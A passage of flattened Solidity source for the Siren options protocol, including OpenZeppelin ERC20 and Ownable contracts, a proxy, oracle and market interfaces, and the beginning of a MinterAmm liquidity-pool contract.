events, as it isn't required by the specification. * * Finally, the non-standard {decreaseAllowance} and {increaseAllowance} * functions have been added to mitigate the well-known issues around setting * allowances. See {IERC20-approve}. */ contract ERC20UpgradeSafe is Initializable, ContextUpgradeSafe, IERC20 { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; uint8 private _decimals; /** * @dev Sets the values for {name} and {symbol}, initializes {decimals} with * a default value of 18. * * To select a different value for {decimals}, use {_setupDecimals}. * * All three of these values are immutable: they can only be set once during * construction. */ function __ERC20_init(string memory name, string memory symbol) internal initializer { __Context_init_unchained(); __ERC20_init_unchained(name, symbol); } function __ERC20_init_unchained(string memory name, string memory symbol) internal initializer { _name = name; _symbol = symbol; _decimals = 18; } /** * @dev Returns the name of the token. */ function name() public view returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5,05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is * called. * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view returns (uint8) { return _decimals; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}; * * Requirements: * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer(address sender, address recipient, uint256 amount) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements * * - `to` cannot be the zero address. */ function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens. * * This is internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Sets {decimals} to a value other than the default one of 18. * * WARNING: This function should only be called from the constructor. Most * applications that interact with token contracts will not expect * {decimals} to ever change, and may work incorrectly if it does. */ function _setupDecimals(uint8 decimals_) internal { _decimals = decimals_; } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be to transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { } uint256[44] private __gap; } // File: @openzeppelin/contracts-ethereum-package/contracts/access/Ownable.sol pragma solidity ^0.6.0; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ contract OwnableUpgradeSafe is Initializable, ContextUpgradeSafe { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ function __Ownable_init() internal initializer { __Context_init_unchained(); __Ownable_init_unchained(); } function __Ownable_init_unchained() internal initializer { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } /** * @dev Returns the address of the current owner. */ function owner() public view returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } uint256[49] private __gap; } // File: @chainlink/contracts/src/v0.6/interfaces/AggregatorV3Interface.sol pragma solidity >=0.6.0; interface AggregatorV3Interface { function decimals() external view returns (uint8); function description() external view returns (string memory); function version() external view returns (uint256); // getRoundData and latestRoundData should both raise "No data present" // if they do not have data to report, instead of returning unset values // which could be misinterpreted as actual reported values. function getRoundData(uint80 _roundId) external view returns ( uint80 roundId, int256 answer, uint256 startedAt, uint256 updatedAt, uint80 answeredInRound ); function latestRoundData() external view returns ( uint80 roundId, int256 answer, uint256 startedAt, uint256 updatedAt, uint80 answeredInRound ); } // File: contracts/token/ISimpleToken.sol pragma solidity 0.6.12; /** Interface for any Siren SimpleToken */ interface ISimpleToken is IERC20 { function initialize( string memory name, string memory symbol, uint8 decimals ) external; function mint(address to, uint256 amount) external; function burn(address account, uint256 amount) external; function selfDestructToken(address payable refundAddress) external; } // File: contracts/market/IMarket.sol pragma solidity 0.6.12; /** Interface for any Siren Market */ interface IMarket { /** Tracking the different states of the market */ enum MarketState { /** * New options can be created * Redemption token holders can redeem their options for collateral * Collateral token holders can't do anything */ OPEN, /** * No new options can be created * Redemption token holders can't do anything * Collateral tokens holders can re-claim their collateral */ EXPIRED, /** * 180 Days after the market has expired, it will be set to a closed state. * Once it is closed, the owner can sweep any remaining tokens and destroy the contract * No new options can be created * Redemption token holders can't do anything * Collateral tokens holders can't do anything */ CLOSED } /** Specifies the manner in which options can be redeemed */ enum MarketStyle { /** * Options can only be redeemed 30 minutes prior to the option's expiration date */ EUROPEAN_STYLE, /** * Options can be redeemed any time between option creation * and the option's expiration date */ AMERICAN_STYLE } function state() external view returns (MarketState); function mintOptions(uint256 collateralAmount) external; function calculatePaymentAmount(uint256 collateralAmount) external view returns (uint256); function calculateFee(uint256 amount, uint16 basisPoints) external pure returns (uint256); function exerciseOption(uint256 collateralAmount) external; function claimCollateral(uint256 collateralAmount) external; function closePosition(uint256 collateralAmount) external; function recoverTokens(IERC20 token) external; function selfDestructMarket(address payable refundAddress) external; function updateRestrictedMinter(address _restrictedMinter) external; function marketName() external view returns (string memory); function priceRatio() external view returns (uint256); function expirationDate() external view returns (uint256); function collateralToken() external view returns (IERC20); function wToken() external view returns (ISimpleToken); function bToken() external view returns (ISimpleToken); function updateImplementation(address newImplementation) external; function initialize( string calldata _marketName, address _collateralToken, address _paymentToken, MarketStyle _marketStyle, uint256 _priceRatio, uint256 _expirationDate, uint16 _exerciseFeeBasisPoints, uint16 _closeFeeBasisPoints, uint16 _claimFeeBasisPoints, address _tokenImplementation ) external; } // File: contracts/market/IMarketsRegistry.sol pragma solidity 0.6.12; /** Interface for any Siren MarketsRegistry */ interface IMarketsRegistry { // function state() external view returns (MarketState); function markets(string calldata marketName) external view returns (address); function getMarketsByAssetPair(bytes32 assetPair) external view returns (address[] memory); function amms(bytes32 assetPair) external view returns (address); function initialize( address _tokenImplementation, address _marketImplementation, address _ammImplementation ) external; function updateTokenImplementation(address newTokenImplementation) external; function updateMarketImplementation(address newMarketImplementation) external; function updateAMMImplementation(address newAmmImplementation) external; function updateMarketsRegistryImplementation( address newMarketsRegistryImplementation ) external; function createMarket( string calldata _marketName, address _collateralToken, address _paymentToken, IMarket.MarketStyle _marketStyle, uint256 _priceRatio, uint256 _expirationDate, uint16 _exerciseFeeBasisPoints, uint16 _closeFeeBasisPoints, uint16 _claimFeeBasisPoints, address _amm ) external returns (address); function createAmm( AggregatorV3Interface _priceOracle, IERC20 _paymentToken, IERC20 _collateralToken, uint16 _tradeFeeBasisPoints, bool _shouldInvertOraclePrice ) external returns (address); function selfDestructMarket(IMarket market, address payable refundAddress) external; function updateImplementationForMarket( IMarket market, address newMarketImplementation ) external; function recoverTokens(IERC20 token, address destination) external; } // File: contracts/proxy/Proxiable.sol pragma solidity 0.6.12; contract Proxiable { // Code position in storage is keccak256("PROXIABLE") = "0xc5f16f0fcc639fa48a6947836d9850f504798523bf8c9a3a87d5876cf622bcf7" uint256 constant PROXY_MEM_SLOT = 0xc5f16f0fcc639fa48a6947836d9850f504798523bf8c9a3a87d5876cf622bcf7; event CodeAddressUpdated(address newAddress); function _updateCodeAddress(address newAddress) internal { require( bytes32(PROXY_MEM_SLOT) == Proxiable(newAddress).proxiableUUID(), "Not compatible" ); assembly { // solium-disable-line sstore(PROXY_MEM_SLOT, newAddress) } emit CodeAddressUpdated(newAddress); } function getLogicAddress() public view returns (address logicAddress) { assembly { // solium-disable-line logicAddress := sload(PROXY_MEM_SLOT) } } function proxiableUUID() public pure returns (bytes32) { return bytes32(PROXY_MEM_SLOT); } } // File: contracts/proxy/Proxy.sol pragma solidity 0.6.12; contract Proxy { // Code position in storage is keccak256("PROXIABLE") = "0xc5f16f0fcc639fa48a6947836d9850f504798523bf8c9a3a87d5876cf622bcf7" uint256 constant PROXY_MEM_SLOT = 0xc5f16f0fcc639fa48a6947836d9850f504798523bf8c9a3a87d5876cf622bcf7; constructor(address contractLogic) public { // Verify a valid address was passed in require(contractLogic != address(0), "Contract Logic cannot be 0x0"); // save the code address assembly { // solium-disable-line sstore(PROXY_MEM_SLOT, contractLogic) } } fallback() external payable { assembly { // solium-disable-line let contractLogic := sload(PROXY_MEM_SLOT) let ptr := mload(0x40) calldatacopy(ptr, 0x0, calldatasize()) let success := delegatecall( gas(), contractLogic, ptr, calldatasize(), 0, 0 ) let retSz := returndatasize() returndatacopy(ptr, 0, retSz) switch success case 0 { revert(ptr, retSz) } default { return(ptr, retSz) } } } } // File: contracts/libraries/Math.sol pragma solidity 0.6.12; // a library for performing various math operations library Math { // babylonian method (https://en.wikipedia.org/wiki/Methods_of_computing_square_roots#Babylonian_method) function sqrt(uint256 y) internal pure returns (uint256 z) { if (y > 3) { z = y; uint256 x = y / 2 + 1; while (x < z) { z = x; x = (y / x + x) / 2; } } else if (y != 0) { z = 1; } } function min(uint256 a, uint256 b) internal pure returns (uint256) { if (a < b) return a; return b; } } // File: contracts/amm/InitializeableAmm.sol pragma solidity 0.6.12; interface InitializeableAmm { function initialize( IMarketsRegistry _registry, AggregatorV3Interface _priceOracle, IERC20 _paymentToken, IERC20 _collateralToken, address _tokenImplementation, uint16 _tradeFeeBasisPoints, bool _shouldInvertOraclePrice ) external; function transferOwnership(address newOwner) external; } // File: contracts/amm/MinterAmm.sol pragma solidity 0.6.12; /** This is an implementation of a minting/redeeming AMM that trades a list of markets with the same collateral and payment assets. For example, a single AMM contract can trade all strikes of WBTC/USDC calls It uses on-chain Black-Scholes approximation and an Oracle price feed to calculate price of an option. It then uses this price to bootstrap a constant product bonding curve to calculate slippage for a particular trade given the amount of liquidity in the pool. External users can buy bTokens with collateral (wToken trading is disabled in this version). When they do this, the AMM will mint new bTokens and wTokens, sell off the side the user doesn't want, and return value to the user. External users can sell bTokens for collateral. When they do this, the AMM will sell a partial amount of assets to get a 50/50 split between bTokens and wTokens, then redeem them for collateral and send back to the user. LPs can provide collateral for liquidity. All collateral will be used to mint bTokens/wTokens for each trade. They will be given a corresponding amount of lpTokens to track ownership. The amount of lpTokens is calculated based on total pool value which includes collateral token, payment token, active b/wTokens and expired/unclaimed b/wTokens LPs can withdraw collateral from liquidity. When withdrawing user can specify if they want their pro-rata b/wTokens to be automatically sold to the pool for collateral. If the chose not to sell then they get pro-rata of all tokens in the pool (collateral, payment, bToken, wToken). If they chose to sell then their bTokens and wTokens will be sold to the pool for collateral incurring slippage. All expired unclaimed wTokens are automatically claimed on each deposit or withdrawal All conversions between bToken and wToken in the AMM will generate fees that will be send to the protocol fees pool (disabled in this version) */ contract MinterAmm is InitializeableAmm, OwnableUpgradeSafe, Proxiable { /** Use safe ERC20 functions for any token transfers since people don't follow the ERC20 standard */ using SafeERC20 for IERC20; using SafeERC20 for ISimpleToken; /** Use safe math for uint256 */ using SafeMath for uint256; /** @dev The token contract that will track lp ownership of the AMM */ ISimpleToken public lpToken; /** @dev The ERC20 tokens used by all the Markets associated with this AMM */ IERC20 public collateralToken; IERC20 public paymentToken; uint8 internal collateralDecimals; uint8 internal paymentDecimals; /** @dev The registry which the AMM will use to lookup individual Markets */ IMarketsRegistry public registry; /** @dev The oracle used to fetch the most recent on-chain price of the collateralToken */ AggregatorV3Interface internal priceOracle; /** @dev a factor used in price oracle calculation that takes into account the decimals of * the payment and collateral token */ uint256 internal paymentAndCollateralConversionFactor; /** @dev Chainlink does not give inverse price pairs (i.e. it only gives a BTC / USD price of $14000, not * a USD / BTC price of 1 / 14000. Sidenote: yes it is confusing that their BTC / USD price is actually in * the inverse units of USD per BTC... but here we are!). So the initializer needs to specify if the price * oracle's units match the AMM's price calculation units (in which case shouldInvertOraclePrice == false). * * Example: If collateralToken == WBTC, and paymentToken = USDC, and we're using the Chainlink price oracle * with the .description() == 'BTC / USD', and latestAnswer = 1400000000000 ($14000) then * shouldInvertOraclePrice should equal false. If the collateralToken and paymentToken variable values are * switched, and we're still using the price oracle 'BTC / USD' (because remember, there is no inverse price * oracle) then shouldInvertOraclePrice should equal true. */ bool internal shouldInvertOraclePrice; /** @dev Fees on trading */ uint16 public tradeFeeBasisPoints; /** Volatility factor used in the black scholes approximation - can be updated by the owner */ uint256 public volatilityFactor; /** @dev Flag to ensure initialization can only happen once */ bool initialized = false; /** @dev This is the keccak256 hash of the concatenation of the collateral and * payment token address used to look up the markets in the registry */ bytes32 public assetPair; /** Track whether enforcing deposit limits is turned on. The Owner can update this. */ bool public enforceDepositLimits; /** Amount that accounts are allowed to deposit if enforcement is turned on */ uint256 public globalDepositLimit; uint256 public constant MINIMUM_TRADE_SIZE = 1000; /** Struct to track how whether user is allowed to deposit and the current amount they already have deposited */ struct LimitAmounts { bool allowedToDeposit; uint256 currentDeposit; } /** * DISABLED: This variable is no longer being used, but is left it to support backwards compatibility of * updating older contracts if needed. This variable can be removed once all historical contracts are updated. * If this variable is removed and an existing contract is graded, it will corrupt the memory layout. * * Mapping to track deposit limits. * This is intended to be a temporary feature and will only count amounts deposited by an LP. * If they withdraw collateral, it will not be subtracted from their current deposit limit to * free up collateral that they can deposit later. */ mapping(address => LimitAmounts) public collateralDepositLimits; /** Emitted when the owner updates the enforcement flag */ event EnforceDepositLimitsUpdated(bool isEnforced, uint256 globalLimit); /** Emitted when a deposit allowance is updated */ event DepositAllowedUpdated(address lpAddress, bool allowed); /** Emitted when the amm is created */ event AMMInitialized(ISimpleToken lpToken, address priceOracle); /** Emitted when an LP deposits collateral */ event LPTokensMinted( address minter, uint256 collateralAdded, uint256 lpTokensMinted ); /** Emitted when an LP withdraws collateral */ event LPTokensBurned( address redeemer, uint256 collateralRemoved, uint256 paymentRemoved, uint256 lpTokensBurned ); /** Emitted when a user buys bTokens from the AMM*/ event BTokensBought( address buyer, uint256 bTokensBought, uint256 collateralPaid ); /** Emitted when a user sells bTokens to the AMM */ event BTokensSold( address seller, uint256 bTokensSold, uint256 collateralPaid ); /** Emitted when a user buys wTokens from the AMM*/ event WTokensBought( address buyer, uint256 wTokensBought, uint256 collateralPaid ); /** Emitted when a user sells wTokens to the AMM */ event WTokensSold( address seller, uint256 wTokensSold, uint256 collateralPaid ); /** Emitted when the owner updates volatilityFactor */ event VolatilityFactorUpdated(uint256 newVolatilityFactor); /** @dev Require minimum trade size to prevent precision errors at low values */ modifier minTradeSize(uint256 tradeSize) { require(tradeSize >= MINIMUM_TRADE_SIZE, "Trade below min size"); _; } function transferOwnership(address newOwner) public override(InitializeableAmm, OwnableUpgradeSafe) { super.transferOwnership(newOwner); } /** Initialize the contract, and create an lpToken to track ownership */ function initialize( IMarketsRegistry _registry, AggregatorV3Interface _priceOracle, IERC20 _paymentToken, IERC20 _collateralToken, address _tokenImplementation, uint16 _tradeFeeBasisPoints, bool _shouldInvertOraclePrice ) public override { require(address(_registry) != address(0x0), "Invalid _registry"); require(address(_priceOracle) != address(0x0), "Invalid _priceOracle"); require(address(_paymentToken) != address(0x0), "Invalid _paymentToken"); require(address(_collateralToken) != address(0x0), "Invalid _collateralToken"); require(address(_collateralToken) != address(_paymentToken), "_collateralToken cannot equal _paymentToken"); require(_tokenImplementation != address(0x0), "Invalid _tokenImplementation"); // Enforce initialization can only happen once require(!initialized, "Contract can only be initialized once."); initialized = true; // Save off state variables registry = _registry; // Note! Here we're making an assumption that the _priceOracle argument // is for a price whose units are the same as the collateralToken and // paymentToken used in this AMM. If they are not then horrible undefined // behavior will ensue! priceOracle = _priceOracle; tradeFeeBasisPoints = _tradeFeeBasisPoints; // Save off market tokens collateralToken = _collateralToken; paymentToken = _paymentToken; assetPair = keccak256(abi.encode(address(collateralToken), address(paymentToken))); ERC20UpgradeSafe erc20CollateralToken = ERC20UpgradeSafe( address(collateralToken) ); ERC20UpgradeSafe erc20PaymentToken = ERC20UpgradeSafe( address(paymentToken) ); collateralDecimals = erc20CollateralToken.decimals(); paymentDecimals = erc20PaymentToken.decimals(); // set the conversion factor used when calculating the current collateral price // using the price value from the oracle paymentAndCollateralConversionFactor = uint256(1e18) .mul(uint256(10)**paymentDecimals) .div(uint256(10)**collateralDecimals); shouldInvertOraclePrice = _shouldInvertOraclePrice; if (_shouldInvertOraclePrice) { paymentAndCollateralConversionFactor = paymentAndCollateralConversionFactor .mul(uint256(10)**priceOracle.decimals()); } else { paymentAndCollateralConversionFactor = paymentAndCollateralConversionFactor .div(uint256(10)**priceOracle.decimals()); } // Create the lpToken and initialize it Proxy lpTokenProxy = new Proxy(_tokenImplementation); lpToken = ISimpleToken(address(lpTokenProxy)); // AMM name will be <collateralToken>-<paymentToken>, e.g. WBTC-USDC string memory ammName = string( abi.encodePacked( erc20CollateralToken.symbol(), "-", erc20PaymentToken.symbol() ) ); string memory lpTokenName = string(abi.encodePacked("LP-", ammName)); lpToken.initialize(lpTokenName, lpTokenName, collateralDecimals); // Set default volatility // 0.4 * volInSeconds * 1e18 volatilityFactor = 4000e10; __Ownable_init(); emit AMMInitialized(lpToken, address(priceOracle)); } /** The owner can set the flag to enforce deposit limits */ function setEnforceDepositLimits( bool _enforceDepositLimits, uint256 _globalDepositLimit ) public onlyOwner { enforceDepositLimits = _enforceDepositLimits; globalDepositLimit = _globalDepositLimit; emit EnforceDepositLimitsUpdated( enforceDepositLimits, _globalDepositLimit ); } /** * DISABLED: This feature has been disabled but left in for backwards compatibility. * Instead of allowing individual caps, there will be a global cap for deposited liquidity. * * The owner can update limits on any addresses */ function setCapitalDepositLimit( address[] memory lpAddresses, bool[] memory allowedToDeposit ) public onlyOwner { // Feature is disabled require( false, "Feature not supported" ); require( lpAddresses.length == allowedToDeposit.length, "Invalid arrays" ); for (uint256 i = 0; i < lpAddresses.length; i++) { collateralDepositLimits[lpAddresses[i]] .allowedToDeposit = allowedToDeposit[i]; emit DepositAllowedUpdated(lpAddresses[i], allowedToDeposit[i]); } } /** The owner can set the volatility factor used to price the options */ function setVolatilityFactor(uint256 _volatilityFactor) public onlyOwner { // Check lower bounds: 500e10 corresponds to ~7% annualized volatility require(_volatilityFactor > 500e10, "VolatilityFactor is too low"); volatilityFactor = _volatilityFactor; emit VolatilityFactorUpdated(_volatilityFactor); } /** * The owner can update the contract logic address in the proxy itself to upgrade */ function updateAMMImplementation(address newAmmImplementation) public onlyOwner { require(newAmmImplementation != address(0x0), "Invalid newAmmImplementation"); // Call the proxiable update _updateCodeAddress(newAmmImplementation); } /** * Ensure the value in the AMM is not over the limit. Revert if so. */ function enforceDepositLimit() internal view { // If deposit limits are enabled, track and limit if (enforceDepositLimits) { // Do not allow open markets over the TVL require( getTotalPoolValue(false) <= globalDepositLimit, "Pool over deposit limit" ); } } /** * LP allows collateral to be used to mint new options * bTokens and wTokens will be held in this contract and can be traded back and forth. * The amount of lpTokens is calculated based on total pool value */ function provideCapital(uint256 collateralAmount, uint256 lpTokenMinimum) public { // Move collateral into this contract collateralToken.safeTransferFrom( msg.sender, address(this), collateralAmount ); // If first LP, mint options, mint LP tokens, and send back any redemption amount if (lpToken.totalSupply() == 0) { // Ensure deposit limit is enforced enforceDepositLimit(); // Mint lp tokens to the user lpToken.mint(msg.sender, collateralAmount); // Emit event LPTokensMinted(msg.sender, collateralAmount, collateralAmount); // Bail out after initial tokens are minted - nothing else to do return; } // At any given moment the AMM can have the following reserves: // * collateral token // * active bTokens and wTokens for any market // * expired bTokens and wTokens for any market // * Payment token // In order to calculate correct LP amount we do the following: // 1. Claim expired wTokens // 2. Add value of all active bTokens and wTokens at current prices // 3. Add value of any payment token // 4. Add value of collateral claimAllExpiredTokens(); // Ensure deposit limit is enforced enforceDepositLimit(); // Mint LP tokens - the percentage added to bTokens should be same as lp tokens added uint256 lpTokenExistingSupply = lpToken.totalSupply(); uint256 poolValue = getTotalPoolValue(false); uint256 lpTokensNewSupply = (poolValue).mul(lpTokenExistingSupply).div( poolValue.sub(collateralAmount) ); uint256 lpTokensToMint = lpTokensNewSupply.sub(lpTokenExistingSupply); require( lpTokensToMint >= lpTokenMinimum, "provideCapital: Slippage exceeded" ); lpToken.mint(msg.sender, lpTokensToMint); // Emit event emit LPTokensMinted( msg.sender, collateralAmount, lpTokensToMint ); } /** * LP can redeem their LP tokens in exchange for collateral * If `sellTokens` is true pro-rata active b/wTokens will be sold to the pool in exchange for collateral * All expired wTokens will be claimed * LP will get pro-rata collateral and payment assets * We return collateralTokenSent in order to give user ability to calculate the slippage via a call */ function withdrawCapital( uint256 lpTokenAmount, bool sellTokens, uint256 collateralMinimum ) public { require( !sellTokens || collateralMinimum > 0, "withdrawCapital: collateralMinimum must be set" ); // First get starting numbers uint256 redeemerCollateralBalance = collateralToken.balanceOf( msg.sender ); uint256 redeemerPaymentBalance = paymentToken.balanceOf(msg.sender); // Get the lpToken supply uint256 lpTokenSupply = lpToken.totalSupply(); // Burn the lp tokens lpToken.burn(msg.sender, lpTokenAmount); // Claim all expired wTokens claimAllExpiredTokens(); // Send paymentTokens uint256 paymentTokenBalance = paymentToken.balanceOf(address(this)); paymentToken.transfer( msg.sender, paymentTokenBalance.mul(lpTokenAmount).div(lpTokenSupply) ); uint256 collateralTokenBalance = collateralToken.balanceOf( address(this) ); // Withdraw pro-rata collateral and payment tokens // We withdraw this collateral here instead of at the end, // because when we sell the residual tokens to the pool we want // to exclude the withdrawn collateral uint256 ammCollateralBalance = collateralTokenBalance.sub( collateralTokenBalance.mul(lpTokenAmount).div(lpTokenSupply) ); // Sell pro-rata active tokens or withdraw if no collateral left ammCollateralBalance = _sellOrWithdrawActiveTokens( lpTokenAmount, lpTokenSupply, msg.sender, sellTokens, ammCollateralBalance ); // Send all accumulated collateralTokens collateralToken.transfer( msg.sender, collateralTokenBalance.sub(ammCollateralBalance) ); uint256 collateralTokenSent = collateralToken.balanceOf(msg.sender).sub( redeemerCollateralBalance ); require( !sellTokens || collateralTokenSent >= collateralMinimum, "withdrawCapital: Slippage exceeded" ); // Emit the event emit LPTokensBurned( msg.sender, collateralTokenSent, paymentToken.balanceOf(msg.sender).sub(redeemerPaymentBalance), lpTokenAmount ); } /** * Takes any wTokens from expired Markets the AMM may have and converts * them into collateral token which gets added to its liquidity pool */ function claimAllExpiredTokens() public { address[] memory markets = getMarkets(); for (uint256 i = 0; i < markets.length; i++) { IMarket optionMarket = IMarket(markets[i]); if (optionMarket.state() == IMarket.MarketState.EXPIRED) { uint256 wTokenBalance = optionMarket.wToken().balanceOf( address(this) ); if (wTokenBalance > 0) { claimExpiredTokens(optionMarket, wTokenBalance); } } } } /** * Claims the wToken on a single expired Market. wTokenBalance should be equal to * the amount of the expired Market's wToken owned by the AMM */ function claimExpiredTokens(IMarket optionMarket, uint256 wTokenBalance) public { optionMarket.claimCollateral(wTokenBalance); } /** * During liquidity withdrawal we either sell pro-rata active tokens back to the pool * or withdraw them to the LP */ function _sellOrWithdrawActiveTokens( uint256 lpTokenAmount, uint256 lpTokenSupply, address redeemer, bool sellTokens, uint256 collateralLeft ) internal returns (uint256) { address[] memory markets = getMarkets(); for (uint256 i = 0; i < markets.length; i++) { IMarket optionMarket = IMarket(markets[i]); if (optionMarket.state() == IMarket.MarketState.OPEN) { uint256 bTokenToSell = optionMarket .bToken() .balanceOf(address(this)) .mul(lpTokenAmount) .div(lpTokenSupply); uint256 wTokenToSell = optionMarket .wToken() .balanceOf(address(this)) .mul(lpTokenAmount) .div(lpTokenSupply); if (!sellTokens || lpTokenAmount == lpTokenSupply) { // Full LP token withdrawal for the last LP in the pool // or if auto-sale is disabled if (bTokenToSell > 0) { optionMarket.bToken().transfer(redeemer, bTokenToSell); } if (wTokenToSell > 0) { optionMarket.wToken().transfer(redeemer, wTokenToSell); } } else { // The LP sells their bToken and wToken to the AMM. The AMM // pays the LP by reducing collateralLeft, which is what the // AMM's collateral balance will be after executing this // transaction (see MinterAmm.withdrawCapital to see where // _sellOrWithdrawActiveTokens gets called) uint256 collateralAmountB = bTokenGetCollateralOutInternal( optionMarket, bTokenToSell, collateralLeft ); // Note! It's possible that either of the two `.sub` calls // below will underflow and return an error. This will only // happen if the AMM does not have sufficient collateral // balance to buy the bToken and wToken from the LP. If this // happens, this transaction will revert with a // "SafeMath: subtraction overflow" error collateralLeft = collateralLeft.sub(collateralAmountB); uint256 collateralAmountW = wTokenGetCollateralOutInternal( optionMarket, wTokenToSell, collateralLeft ); collateralLeft = collateralLeft.sub(collateralAmountW); } } } return collateralLeft; } /** * Get value of all assets in the pool. * Can specify whether to include the value of expired unclaimed tokens */ function getTotalPoolValue(bool includeUnclaimed) public view returns (uint256) { address[] memory markets = getMarkets(); // Note! This function assumes the price obtained from the onchain oracle // in getCurrentCollateralPrice is a valid market price in units of // collateralToken/paymentToken. If the onchain price oracle's value // were to drift from the true market price, then the bToken price // we calculate here would also drift, and will result in undefined // behavior for any functions which call getTotalPoolValue uint256 collateralPrice = getCurrentCollateralPrice(); // First, determine the value of all residual b/wTokens uint256 activeTokensValue = 0; uint256 unclaimedTokensValue = 0; for (uint256 i = 0; i < markets.length; i++) { IMarket optionMarket = IMarket(markets[i]); if (optionMarket.state() == IMarket.MarketState.OPEN) { // value all 